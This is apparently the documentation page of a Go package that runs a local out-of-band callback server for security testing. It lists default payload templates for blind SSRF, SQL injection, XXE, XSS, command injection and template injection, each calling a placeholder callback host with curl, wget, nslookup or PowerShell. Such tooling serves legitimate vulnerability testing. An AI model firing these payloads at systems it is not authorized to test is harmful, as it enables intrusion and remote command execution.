local

package
v0.0.0-...-9b8dde8 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Dec 2, 2025 License: Apache-2.0 Imports: 14 Imported by: 0

Documentation

Overview

Package local provides a local HTTP server for OAST (Out-of-Application Security Testing) callbacks. It captures blind vulnerability interactions (SSRF, blind SQLi, blind XSS) without requiring external infrastructure.

Index

Constants

View Source
const DefaultTTL = 24 * time.Hour

DefaultTTL is the default time-to-live for interactions.

View Source
const OASTURLPlaceholder = "{OAST_URL}"

OASTURLPlaceholder is the placeholder replaced with actual OAST URLs.

Variables

View Source
var DefaultTemplates = []PayloadTemplate{

	{
		Name:        "SSRF Basic",
		Description: "Basic SSRF test with HTTP callback",
		Category:    "ssrf",
		Template:    "http://{OAST_URL}",
	},
	{
		Name:        "SSRF HTTPS",
		Description: "SSRF test with HTTPS callback",
		Category:    "ssrf",
		Template:    "https://{OAST_URL}",
	},
	{
		Name:        "SSRF URL Parameter",
		Description: "SSRF test for URL parameters",
		Category:    "ssrf",
		Template:    "http://{OAST_URL}/ssrf?source=param",
	},
	{
		Name:        "SSRF Redirect",
		Description: "SSRF via redirect follow",
		Category:    "ssrf",
		Template:    "http://{OAST_URL}/redirect",
	},

	{
		Name:        "Blind SQLi - DNS (MSSQL)",
		Description: "SQL injection with DNS exfiltration for MSSQL",
		Category:    "sqli",
		Template:    "'; EXEC master..xp_cmdshell 'nslookup {OAST_URL}'--",
	},
	{
		Name:        "Blind SQLi - HTTP (MySQL)",
		Description: "SQL injection with HTTP callback for MySQL",
		Category:    "sqli",
		Template:    "' UNION SELECT LOAD_FILE(CONCAT('http://','{OAST_URL}','/sqli'))--",
	},
	{
		Name:        "Blind SQLi - PostgreSQL",
		Description: "SQL injection with HTTP callback for PostgreSQL",
		Category:    "sqli",
		Template:    "'; COPY (SELECT '') TO PROGRAM 'curl http://{OAST_URL}/sqli'--",
	},
	{
		Name:        "Blind SQLi - Oracle",
		Description: "SQL injection with HTTP callback for Oracle",
		Category:    "sqli",
		Template:    "' UNION SELECT UTL_HTTP.REQUEST('http://{OAST_URL}/sqli') FROM DUAL--",
	},

	{
		Name:        "XXE External Entity",
		Description: "XML external entity with HTTP callback",
		Category:    "xxe",
		Template:    `<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{OAST_URL}/xxe">]><foo>&xxe;</foo>`,
	},
	{
		Name:        "XXE Parameter Entity",
		Description: "XML parameter entity with callback",
		Category:    "xxe",
		Template:    `<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://{OAST_URL}/xxe"> %xxe;]><foo>test</foo>`,
	},
	{
		Name:        "XXE SVG",
		Description: "XXE via SVG image upload",
		Category:    "xxe",
		Template:    `<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://{OAST_URL}/xxe">]><svg>&xxe;</svg>`,
	},

	{
		Name:        "Blind XSS - Image",
		Description: "XSS with image load callback",
		Category:    "xss",
		Template:    `<img src="http://{OAST_URL}/xss">`,
	},
	{
		Name:        "Blind XSS - Script",
		Description: "XSS with script load callback",
		Category:    "xss",
		Template:    `<script src="http://{OAST_URL}/xss"></script>`,
	},
	{
		Name:        "Blind XSS - Iframe",
		Description: "XSS with iframe callback",
		Category:    "xss",
		Template:    `<iframe src="http://{OAST_URL}/xss"></iframe>`,
	},
	{
		Name:        "Blind XSS - CSS Import",
		Description: "XSS with CSS import callback",
		Category:    "xss",
		Template:    `<style>@import url('http://{OAST_URL}/xss');</style>`,
	},

	{
		Name:        "Command Injection - cURL",
		Description: "Command injection using cURL",
		Category:    "cmdi",
		Template:    "`curl http://{OAST_URL}/cmdi`",
	},
	{
		Name:        "Command Injection - wget",
		Description: "Command injection using wget",
		Category:    "cmdi",
		Template:    "`wget http://{OAST_URL}/cmdi`",
	},
	{
		Name:        "Command Injection - nslookup",
		Description: "Command injection with DNS callback",
		Category:    "cmdi",
		Template:    "`nslookup {OAST_URL}`",
	},
	{
		Name:        "Command Injection - PowerShell",
		Description: "Command injection for Windows PowerShell",
		Category:    "cmdi",
		Template:    "; powershell -c \"Invoke-WebRequest http://{OAST_URL}/cmdi\"",
	},

	{
		Name:        "SSTI - Jinja2",
		Description: "Server-side template injection for Jinja2",
		Category:    "ssti",
		Template:    `{{config.__class__.__init__.__globals__['os'].popen('curl http://{OAST_URL}/ssti').read()}}`,
	},
	{
		Name:        "SSTI - Twig",
		Description: "Server-side template injection for Twig",
		Category:    "ssti",
		Template:    `{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl http://{OAST_URL}/ssti")}}`,
	},

	{
		Name:        "Header Injection - Host",
		Description: "Host header injection test",
		Category:    "header",
		Template:    "{OAST_URL}",
	},
}

DefaultTemplates contains pre-defined payload templates for common vulnerability types.

Functions

func GetAllCategories

func GetAllCategories() []string

GetAllCategories returns all unique template categories.

func IsValidID

func IsValidID(id string) bool

IsValidID checks if a string is a valid OAST ID format.

Types

type CallbackURL

type CallbackURL struct {
	ID       string // The unique callback ID
	URL      string // Full callback URL
	ShortURL string // Shortened URL for display
}

CallbackURL represents a generated callback URL with its components.

type Config

type Config struct {
	Port     int    // 0 = random port
	Host     string // Default: localhost
	BasePath string // Default: /callback
}

Config holds the configuration for the OAST local server.

type EventBus

type EventBus interface {
	Publish(eventType string, data interface{})
}

EventBus defines the interface for publishing OAST events.

type IDGenerator

type IDGenerator struct {
	// contains filtered or unexported fields
}

IDGenerator generates unique, collision-resistant IDs for OAST callbacks.

func NewIDGenerator

func NewIDGenerator(prefix string) *IDGenerator

NewIDGenerator creates a new ID generator with the specified prefix.

func (*IDGenerator) Generate

func (g *IDGenerator) Generate() string

Generate creates a unique, collision-resistant ID. Format: {prefix}-{timestamp}-{random}-{counter} Example: oast-1705420800-k7m3np2q-0001

func (*IDGenerator) GenerateShort

func (g *IDGenerator) GenerateShort() string

GenerateShort creates a shorter ID (for URL readability). Format: {random8} Example: k7m3np2q

type IDMetadata

type IDMetadata struct {
	Prefix    string
	Timestamp time.Time
	Random    string
	Counter   uint64
}

IDMetadata contains parsed metadata from a generated ID.

func ParseID

func ParseID(id string) (*IDMetadata, error)

ParseID extracts metadata from a generated ID.

type Interaction

type Interaction struct {
	ID        string              `json:"id"`
	Type      string              `json:"type"`
	Timestamp time.Time           `json:"timestamp"`
	Method    string              `json:"method,omitempty"`
	Path      string              `json:"path,omitempty"`
	Query     string              `json:"query,omitempty"`
	Headers   map[string][]string `json:"headers,omitempty"`
	Body      string              `json:"body,omitempty"`
	ClientIP  string              `json:"client_ip"`
	UserAgent string              `json:"user_agent,omitempty"`
	TestID    string              `json:"test_id,omitempty"`
	RequestID string              `json:"request_id,omitempty"`
}

Interaction represents a single OAST callback interaction.

type InteractionFilter

type InteractionFilter struct {
	ID        string
	Type      string
	Since     time.Time
	TestID    string
	RequestID string
	Limit     int
}

InteractionFilter defines criteria for filtering interactions.

type PayloadTemplate

type PayloadTemplate struct {
	Name        string // Template name
	Description string // Human-readable description
	Category    string // Vulnerability category: ssrf, sqli, xss, xxe, cmdi, etc.
	Template    string // Payload with {OAST_URL} placeholder
}

PayloadTemplate represents a payload template with an OAST URL placeholder.

func GetTemplateByName

func GetTemplateByName(name string) *PayloadTemplate

GetTemplateByName returns a template by its name.

func GetTemplatesByCategory

func GetTemplatesByCategory(category string) []PayloadTemplate

GetTemplatesByCategory returns all templates for a specific category.

func (*PayloadTemplate) Build

func (t *PayloadTemplate) Build(oastURL string) string

Build replaces the OAST URL placeholder with the actual URL.

func (*PayloadTemplate) BuildWithHost

func (t *PayloadTemplate) BuildWithHost(host string) string

BuildWithHost replaces the placeholder with just the host portion.

type Server

type Server struct {
	// contains filtered or unexported fields
}

Server is the OAST local HTTP server that captures callback interactions.

func New

func New(cfg Config, eventBus EventBus, logger *logging.AuditLogger) *Server

New creates a new OAST local server with the given configuration.

func (*Server) GetBaseURL

func (s *Server) GetBaseURL() string

GetBaseURL returns the base URL for callbacks.

func (*Server) GetPort

func (s *Server) GetPort() int

GetPort returns the listening port.

func (*Server) GetStorage

func (s *Server) GetStorage() *Storage

GetStorage returns the server's interaction storage.

func (*Server) Start

func (s *Server) Start(ctx context.Context) error

Start starts the OAST HTTP server and blocks until the context is cancelled.

func (*Server) Stop

func (s *Server) Stop(ctx context.Context) error

Stop gracefully shuts down the server.

type Stats

type Stats struct {
	TotalInteractions int            `json:"total_interactions"`
	ByType            map[string]int `json:"by_type"`
	UniqueIDs         int            `json:"unique_ids"`
	OldestTimestamp   time.Time      `json:"oldest_timestamp,omitempty"`
	NewestTimestamp   time.Time      `json:"newest_timestamp,omitempty"`
}

Stats contains statistics about stored interactions.

type Storage

type Storage struct {
	// contains filtered or unexported fields
}

Storage provides thread-safe in-memory storage for OAST interactions with TTL-based cleanup and efficient indexing.

func NewStorage

func NewStorage() *Storage

NewStorage creates a new in-memory interaction storage with default TTL.

func NewStorageWithTTL

func NewStorageWithTTL(ttl time.Duration) *Storage

NewStorageWithTTL creates a new storage with a custom TTL.

func (*Storage) Cleanup

func (s *Storage) Cleanup()

Cleanup removes interactions older than the configured TTL.

func (*Storage) Clear

func (s *Storage) Clear()

Clear removes all stored interactions.

func (*Storage) Close

func (s *Storage) Close()

Close stops the cleanup goroutine and releases resources.

func (*Storage) DeleteByID

func (s *Storage) DeleteByID(id string) int

DeleteByID removes all interactions for a given ID.

func (*Storage) GetAll

func (s *Storage) GetAll() []*Interaction

GetAll returns all stored interactions.

func (*Storage) GetByID

func (s *Storage) GetByID(id string) []*Interaction

GetByID returns all interactions for a given callback ID.

func (*Storage) GetByTestID

func (s *Storage) GetByTestID(testID string) []*Interaction

GetByTestID returns all interactions for a given test ID.

func (*Storage) GetCount

func (s *Storage) GetCount() int

GetCount returns the total number of stored interactions.

func (*Storage) GetCountByID

func (s *Storage) GetCountByID(id string) int

GetCountByID returns the number of interactions for a specific ID.

func (*Storage) GetIDs

func (s *Storage) GetIDs() []string

GetIDs returns all unique callback IDs that have interactions.

func (*Storage) GetSince

func (s *Storage) GetSince(since time.Time) []*Interaction

GetSince returns all interactions since the given timestamp.

func (*Storage) GetStats

func (s *Storage) GetStats() Stats

GetStats returns statistics about stored interactions.

func (*Storage) GetTTL

func (s *Storage) GetTTL() time.Duration

GetTTL returns the current TTL setting.

func (*Storage) GetTestIDForCallback

func (s *Storage) GetTestIDForCallback(callbackID string) string

GetTestIDForCallback retrieves the test ID associated with a callback ID.

func (*Storage) HasInteraction

func (s *Storage) HasInteraction(id string) bool

HasInteraction checks if any interaction exists for the given ID.

func (*Storage) List

func (s *Storage) List(filter InteractionFilter) []*Interaction

List returns interactions matching the given filter.

func (*Storage) RegisterCallback

func (s *Storage) RegisterCallback(callbackID, testID string)

RegisterCallback associates a callback ID with a test ID for future interactions.

func (*Storage) SetTTL

func (s *Storage) SetTTL(ttl time.Duration)

SetTTL configures the time-to-live for interactions.

func (*Storage) Store

func (s *Storage) Store(interaction *Interaction) error

Store saves an interaction to storage.

type TemplateRegistry

type TemplateRegistry struct {
	// contains filtered or unexported fields
}

TemplateRegistry allows registration of custom templates.

func NewTemplateRegistry

func NewTemplateRegistry() *TemplateRegistry

NewTemplateRegistry creates a new registry with default templates.

func (*TemplateRegistry) GetAll

func (r *TemplateRegistry) GetAll() []PayloadTemplate

GetAll returns all templates from the registry.

func (*TemplateRegistry) GetByCategory

func (r *TemplateRegistry) GetByCategory(category string) []PayloadTemplate

GetByCategory returns all templates for a category from the registry.

func (*TemplateRegistry) GetByName

func (r *TemplateRegistry) GetByName(name string) *PayloadTemplate

GetByName returns a template by name from the registry.

func (*TemplateRegistry) Register

func (r *TemplateRegistry) Register(t PayloadTemplate)

Register adds a custom template to the registry.

type URLBuilder

type URLBuilder struct {
	// contains filtered or unexported fields
}

URLBuilder generates callback URLs with unique IDs.

func NewURLBuilder

func NewURLBuilder(baseURL string) *URLBuilder

NewURLBuilder creates a new URL builder with the specified base URL.

func NewURLBuilderWithPrefix

func NewURLBuilderWithPrefix(baseURL, prefix string) *URLBuilder

NewURLBuilderWithPrefix creates a URL builder with a custom ID prefix.

func (*URLBuilder) BuildURL

func (b *URLBuilder) BuildURL(id string) string

BuildURL constructs a callback URL for a given ID.

func (*URLBuilder) BuildURLWithPath

func (b *URLBuilder) BuildURLWithPath(id, path string) string

BuildURLWithPath constructs a callback URL with an additional path.

func (*URLBuilder) BuildURLWithQuery

func (b *URLBuilder) BuildURLWithQuery(id string, params map[string]string) string

BuildURLWithQuery constructs a callback URL with query parameters.

func (*URLBuilder) ExtractIDFromURL

func (b *URLBuilder) ExtractIDFromURL(callbackURL string) (string, error)

ExtractIDFromURL extracts the callback ID from a full callback URL.

func (*URLBuilder) Generate

func (b *URLBuilder) Generate() *CallbackURL

Generate creates a new callback URL with a unique ID.

func (*URLBuilder) GenerateShort

func (b *URLBuilder) GenerateShort() *CallbackURL

GenerateShort creates a callback URL with a short ID.

func (*URLBuilder) GenerateWithPath

func (b *URLBuilder) GenerateWithPath(path string) *CallbackURL

GenerateWithPath creates a callback URL with an additional path suffix.

func (*URLBuilder) GetBaseURL

func (b *URLBuilder) GetBaseURL() string

GetBaseURL returns the base URL used by this builder.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL